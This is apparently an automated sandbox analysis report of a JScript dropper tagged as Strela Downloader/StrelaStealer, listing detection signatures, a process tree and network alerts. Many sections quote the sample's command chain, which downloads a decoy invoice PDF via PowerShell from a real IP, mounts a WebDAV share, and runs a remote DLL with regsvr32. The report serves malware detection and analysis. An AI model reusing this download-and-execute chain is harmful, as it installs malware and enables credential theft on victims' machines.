Edit tour

Windows Analysis Report
44742054371077666.js

Overview

General Information

Sample name:	44742054371077666.js
Analysis ID:	1587749
MD5:	3528721c8bd05c4b28e41f6f945bbf0e
SHA1:	ef4a15280deb297e7d8d6299fc133407dea7c873
SHA256:	e92fe2a57cc969b946901c22e7ec1b496fa92211a4d5042e8cf7795b1be56454
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5652 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1816 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6204 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3648 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1632,i,10391696243187007764,14497805632998593147,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5272 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6480 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6348 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5652	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6204, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6204, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ProcessId: 5652, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6480, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ProcessId: 5652, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1816, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6204, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5272, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6480, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6348, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5272, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6480, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5652, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll, ProcessId: 1816, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:40:39.759624+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:40:37.562692+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 44742054371077666.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 44742054371077666.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:63112 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 172.64.41.3 172.64.41.3

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

